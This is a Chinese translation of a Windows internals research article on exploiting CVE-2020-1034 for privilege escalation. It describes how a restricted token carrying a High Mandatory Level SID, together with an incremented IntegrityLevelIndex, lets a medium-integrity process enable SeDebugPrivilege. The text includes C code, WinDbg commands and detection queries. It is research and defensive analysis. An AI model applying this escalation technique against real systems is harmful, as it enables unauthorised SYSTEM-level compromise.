一个简单Windows内核漏洞的深度利用(CVE-2020-1034) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

一个简单Windows内核漏洞的深度利用(CVE-2020-1034)

41yf1sh 资讯 2021-03-24 09:54:46
304670
收藏

导语:在这篇文章中,我们将再增加一些限制条件,并深入分析如何能够绕过这些限制条件,最终仍然获得我们想要的结果。

0x00 前言

在上一篇文章中,我分析了CVE-2020-1034,该漏洞允许我们增加任意地址,我们在掌握了ETW内部原理之后就可以利用这一漏洞,为我们的进程增加SeDebugPrivilege权限并创建一个提升后的进程。在这篇文章中,我们将再增加一些限制条件,并深入分析如何能够绕过这些限制条件,最终仍然获得我们想要的结果。如果是从低IL或中IL实现到系统级别的权限提升,无疑会使这一过程的难度提高一个层次。

0x01 新的限制

在上一篇文章中,我编写了一个漏洞利用代码,但我们想象在此基础上内核增加了新的限制,从而不再允许我们直接增加Token.Privileges.Enabled。例如,设置了一个只读字段,仅允许特定内核代码可以修改。那么在这种情况下,我们如何在不增加地址的情况下启用特权?

0x02 启用特权

这个问题的答案非常简单,如同进程可以启用其拥有但被禁用的其他任意特权一样,我们可以通过RtlAdjustPrivilege或其advapi32 wrapper AdjustTokenPrivileges来启用SeDebugPrivilege特权。但是,这里遇到了一个问题,当我们尝试调用RtlAdjustPrivilege启用新添加的SeDebugPrivilege时,我们会返回STATUS_PRIVILEGE_NOT_HELD。

要了解为什么会发生这种情况,我们需要查看与启用特权相关的内核函数,这部分代码的可读性非常差。为了尝试启用特权,RtlAdjustPrivilege使用系统调用NtAdjustPrivilegesToken。这个函数首先检查进程是否正在以高、中、低完整性级别运行。如果具有较高的完整性级别,则可以启用它拥有的任何特权。但是,如果发现正在以中等完整性级别运行,则会进行以下检查:

1.png

每个请求的特权都会对照这个常数值进行检查,这个常数表示允许中等完整性级别进程具有的特权。SeDebugPrivilege的值为0x100000 (1 << 20),可以看到我们所需的特权不在其涵盖的范围之内,因此没有以高完整性级别运行的进程都无法启用这一特权。如果我们选择以低完整性级别或者在AppContainer中运行进程,那么这些进程将会进行类似的检查,但限制值会更大。如同往常一样,简单的方法遭遇了失败。但是,总会有解决这个问题的方法,我们只需要对操作系统进行更深入的研究就能找到这些方法。

0x03 虚假EoP指向真正的EoP

我们需要得到较高完整性级别或者系统级的进程才能启用调试特权,但我们又打算利用调试特权将自身(子进程)提升到系统级别。因此,就陷入了一个死循环。

但真实情况并非如此,实际上我们并不需要较高级别或系统级别的IL进程,只需要一个较高级别或系统级别IL的令牌即可。进程并不是必须使用创建时所使用的令牌。线程可以模拟它们拥有的任何令牌,包括具有更高完整性级别的令牌。不过,要实现这一点,我们需要处理一个具有更高IL的进程的句柄,从而复制令牌和模拟令牌。为了打开这样一个进程的句柄,我们需要一些目前没有获得的特权,例如调试特权。这样一来,就陷入了死循环。

然而,这一环节中可能存在漏洞。如果我们能够创建满足要求的令牌,就无需再使用其他进程的令牌。

要了解如何实现这一点,我们首先需要掌握有关Windows安全模型和完整性级别工作原理的知识。我和Alex以及James Forshaw展示了这个方案,并且得到了他们的认可。

0x04 利用令牌、完整性级别以及未受保护的数组

要检查令牌的完整性级别,我们需要查看TOKEN结构中名为IntegrityLevelIndex的字段。我们可以将其进行转储,以查看其中包含的内容:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex : 0xe [Type: unsigned long]

顾名思义,这个值本身不能给我们太多信息,因为它只是SID_AND_ATTRIBUTES结构数组中的一个索引,被UserAndGroups字段指向。通过查看SepLocateTokenIntegrity可以证实这一点,该方法由SepAdjustPrivileges调用,以确定要调整其特权的令牌的完整性级别。

2.png

这个数组有多个条目,具体的数量随进程的不同而变化。可以根据UserAndGroupCount字段查看具体的数量:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount : 0xe [Type: unsigned long]
dx -g *((nt!_SID_AND_ATTRIBUTES(*)[0xe])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)

3.png

顾名思义,SID_AND_ATTRIBUTES结构中包含一个安全描述符(SID)及其特定属性。这些属性取决于我们正在使用的数据类型,我们可以在这里找到这些属性的含义。结构的安全标识符部分会告诉我们这个令牌属于哪个用户和组。这个信息可以确定令牌的完整性级别,以及令牌可以在系统上进行的操作。例如,只有某些组可以访问特定进程和文件。在上一篇文章中我们也提到过,大多数GUID仅允许特定组进行注册。SID的歌是为S-1-X-…,比较易于识别。

我们可以改进WinDbg查询,从而以清晰的格式展示令牌所属的所有组:

dx –s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0xf])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

4.png

令牌指向的条目0xe是表中的最后一个条目,它是中等完整性级别的SID,这也就是我们无法启用调试特权的原因。但是,该系统的设计为我们提供了一种绕过完整性级别的方法。UserAndGroups字段指向数组,但是数组是在TOKEN结构之后立即分配的。这并不是在这一内存块中的最后一项工作。如果我们转储TOKEN结构,可以看到在UserAndGroups字段之后,还有另一个指向相同格式数组的指针,名为RestrictedSids。

[+0x098] UserAndGroups    : 0xffffad8914e1e4f0 [Type: _SID_AND_ATTRIBUTES *]    
[+0x0a0] RestrictedSids   : 0x0 [Type: _SID_AND_ATTRIBUTES *]

受限令牌是一种通过仅允许令牌访问其ACL允许访问SID的对象,来限制特定进程或线程所具有的访问权限的方法。例如,如果令牌有针对“Bob”的受限SID,那么使用此令牌的进程或线程只能在文件明确允许访问“Bob”的情况下访问文件。即使“Bob”是允许访问文件的组成员(例如Users或Everyone),除非文件事先知道是“Bob”尝试访问它并将SID添加到ACL,否则将拒绝访问。有时,在服务中会使用这一功能,限制只能访问其使用所必需的对象,减少潜在的攻击面。受限令牌还可以用于从令牌中删除不需要的默认特权。例如,BFR服务使用写入受限令牌,这意味着它对任何对象仅具有读取访问权限,但只能对显式允许其SID的对象获得写访问权限。

5.png

关于受限令牌,有两点比较重要的事情,可以帮助我们实现特权提升:

1、受限SID数组在UserAndGroups数组之后立即分配。

2、可以为任意SID创建受限令牌,包括该进程当前没有的令牌。

这两个事实表明,即使是一个较低或中等完整性级别的进程,也可以为较高完整性进程的SID创建一个受限令牌并模拟它。这会在UserAndGroups数组之后立即向RestrictedSids数组添加一个新的SID_AND_ATTRIBUTES条目,其方式可以看作是UserAndGroups数组的下一个条目。当前的IntegrityLevelIndex指向UserAndGroups数组中的最后一个条目,因此索引的增加会使其指向高完整性级别的新受限令牌。那么,我们能否获得一个任意增加漏洞呢?

6.png

我们来尝试一下。首先使用CreateWellKnownSid创建一个WinHighLabelSid,然后使用CreateRestrictedToken创建一个具有较高完整性级别SID的新受限令牌,然后进行模拟:

HANDLE tokenHandle;
HANDLE newTokenHandle;
HANDLE newTokenHandle2;
PSID pSid;
PSID_AND_ATTRIBUTES sidAndAttributes;
DWORD sidLength = 0;
BOOL bRes;
//
// Call CreateWellKnownSid once to check the needed size for the buffer
//
CreateWellKnownSid(WinHighLabelSid, NULL, NULL, &sidLength);
//
// Allocate a buffer and create a high IL SID
//
pSid = malloc(sidLength);
CreateWellKnownSid(WinHighLabelSid, NULL, pSid, &sidLength);
//
// Create a restricted token and impersonate it
//
sidAndAttributes = (PSID_AND_ATTRIBUTES)malloc(0x20);
sidAndAttributes->Sid = pSid;
sidAndAttributes->Attributes = 0;
bRes = OpenProcessToken(GetCurrentProcess(),
                        TOKEN_ALL_ACCESS,
                        &tokenHandle);
if (bRes == FALSE)
{
    printf("OpenProcessToken failed\n");
    return 0;
}
bRes = CreateRestrictedToken(tokenHandle,
                             WRITE_RESTRICTED,
                             0,
                             NULL,
                             0,
                             NULL,
                             1,
                             sidAndAttributes,
                             &newTokenHandle2);
if (bRes == FALSE)
{
    printf("CreateRestrictedToken failed\n");
    return 0;
}
bRes = ImpersonateLoggedOnUser(newTokenHandle2);
if (bRes == FALSE)
{
    printf("Impersonation failed\n");
    return 0;
}

接下来,我们看看线程令牌和其所在组。注意,我们正在模拟这个新令牌,因此需要检查线程的模拟令牌,因为我们的主进程令牌不会受到下述影响。

dx -s @$token = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
dx new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
GroupsCount      : 0xf [Type: unsigned long]
UserAndGroups    : 0xffffad890d5ffe00 [Type: _SID_AND_ATTRIBUTES *]
RestrictedCount  : 0x1 [Type: unsigned long]
RestrictedSids   : 0xffffad890d5ffef0 [Type: _SID_AND_ATTRIBUTES *]
IntegrityLevelIndex : 0xe [Type: unsigned long]

UserAndGroups仍然具有0xf条目,且此时我们的IntegrityLevelIndex仍然为0xe,与主令牌一致。不过现在,我们就拥有了一个受限SID。前面我提到过,由于内存布局,我们可以将这个受限SID视为UserAndGroups数组中的其他条目,我们可以对此进行测试。接下来,我们尝试使用与之前相同的方式转储数组,但这里假设它具有0x10条目:

dx -s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0x10])@$token->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

7.png

结果证明是有效的!现在就有了0x10个有效条目,最后一个具有较高完整性级别的SID,就如同我们最开始希望的那样。

现在,我们就可以使用与之前相同的方式运行漏洞利用程序,只不过这里有两处调整:

1、所有更改都需要使用我们当前的线程令牌,而不再是主进程令牌。

2、我们需要触发两次漏洞利用,第一次增加Privileges.Present以设置SeDebugPrivilege特权,第二次增加IntegrityLevelIndex以指向0xf条目。

在这一过程中,没有验证IntegrityLevelIndex是否低于UserAndGroupCount。即使有这样的验证过程,我们也可以再次利用相同的漏洞来修改其级别。因此,当新的模拟令牌指向较高完整性级别的SID时,SepAdjustPrivileges就会认为它正在以较高完整性级别的进程运行,并允许我们启用所需的任意特权。在对漏洞利用进行修改后,我们可以再次尝试运行,并看到RtlAdjustPrivileges这次返回STATUS_SUCCESS。但是,我并不完全相信API,而是想要亲自检查一下:

8.png

或者,如果大家更喜欢使用WinDbg:

dx -s @$t0 = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
1: kd> !token @$t0 -n
_TOKEN 0xffffad89168c4970
TS Session ID: 0x1
User: S-1-5-21-2929524040-830648464-3312184485-1000 (User:DESKTOP-3USPPSB\yshafir)
User Groups:
...
Privs:
19 0x000000013 SeShutdownPrivilege               Attributes -
20 0x000000014 SeDebugPrivilege                  Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege                 Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
34 0x000000022 SeTimeZonePrivilege               Attributes -
Authentication ID:         (0,2a084)
Impersonation Level:       Impersonation
TokenType:                 Impersonation
...
RestrictedSidCount: 1      
RestrictedSids: 0xffffad89168c4ef0
Restricted SIDs:
00 S-1-16-12288 (Label: Mandatory Label\High Mandatory Level)
Attributes - Mandatory Default Enabled
…

如同最开始的目标,现在我们的模拟令牌已经拥有了SeDebugPrivilege。现在,我们就可以执行之前的操作,在DcomLaunch服务下运行提升权限后的cmd.exe。您可能会想,既然我们已经拥有了高完整性级别的令牌,是否还需要沿用之前的方式呢?实际上,受限令牌并不是真正意义上的常规令牌,如果尝试使用受限令牌作为虚假的提升权限进程来运行,可能会遇到一些问题,并且对于扫描进程的防御工具来说,看上去也非常可疑。综合考虑,最好的方案还是创建一个可以以SYSTEM身份运行且没有太多可疑之处的新进程。

0x05 检测方式

我们使用的方法非常巧妙,这种方式不仅能欺骗系统,而且还很难被发现。对于防御者来说,最有效的判断方式是确认IntegrityLevelIndex是否属于UserAndGroups数组的范围。但即使是进行了这样的确认,攻击者也很容易再次触发漏洞并增加UserAndGroupCount。如果根据计数来计算UserAndGroup数组的结束地址,并将其与RestrictedSids数组的起始地址进行比较,看二者是否匹配,这种方法仍然是有效的。不过,这样的检测方式非常有针对性,需要针对这种不常见的攻击方式进行深入分析后才能得到这种方法。

还有第二种方法,就是搜索模拟受限令牌的线程。这是非常不常见的情况,在我进行搜索时,得到的唯一结果就是我的漏洞利用:

dx @$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
@$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
[0x279c]         : exploit_part_2.exe [Switch To]

不过这是一个非常有针对性的搜索,只能够发现这种特殊的漏洞利用场景。并且,如果攻击者在启用特权后将线程恢复为原始令牌,这种检测方法就失效了。作为攻击者来说,这无疑是一个好习惯,不要让漏洞利用产生的“可疑”属性保持太长时间,从而就可以尽可能地规避被检测到的风险。与此同时,我在上一篇文章中提到的检测方式仍然适用于这里的场景,因为我们利用的漏洞相同、触发方式相同、仍然注册了一个新的ETW提供程序并且其他人都没有使用它、仍然留下了一个占用的位置且无法清空。因此,如果我们足够了解漏洞利用的过程,就有足够多的条件可以实现检测。

当然,在这里还有一点不同以往,就是中等完整性级别的进程会突然抢占SeDebugPrivilege,打开DcomLaunch的句柄,并创建一个新的父级提升权限的进程。这样的特征可能会成为EDR产品的一些检测指标。

0x06 总结

这篇文章描述了一个假设的场景,在这样的场景中,我们不能再简单地在进程令牌中增加Privileges.Enabled。我们目前在日常中还不需要使用这些独特的技巧,但是这些技巧是非常容易找到和利用的,就如同DIY CTF一样,也许这些技巧某一天会在另一个场景中有所帮助。这些技巧清晰地表明,令牌中包括许多值得关注的字段,可以以各种方式利用。与此同时,我们需要对一些内部原理知识有更深入的了解。

由于令牌非常容易受到攻击,并且不会经常更改,所以作为防御措施,可以考虑将其转移到安全池之中。

上篇文章和这篇文章中,我最终获得了SeDebugPrivilege,并使用了一些技巧来创建一个提升权限后的进程。在后续的文章中,我将会介绍一些其他特权,这些特权在漏洞利用的过程中经常会被忽略,并且可以以出人意料的方式来利用。

本文翻译自:https://windows-internals.com/exploiting-a-simple-vulnerability-part-2-what-if-we-made-exploitation-harder/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务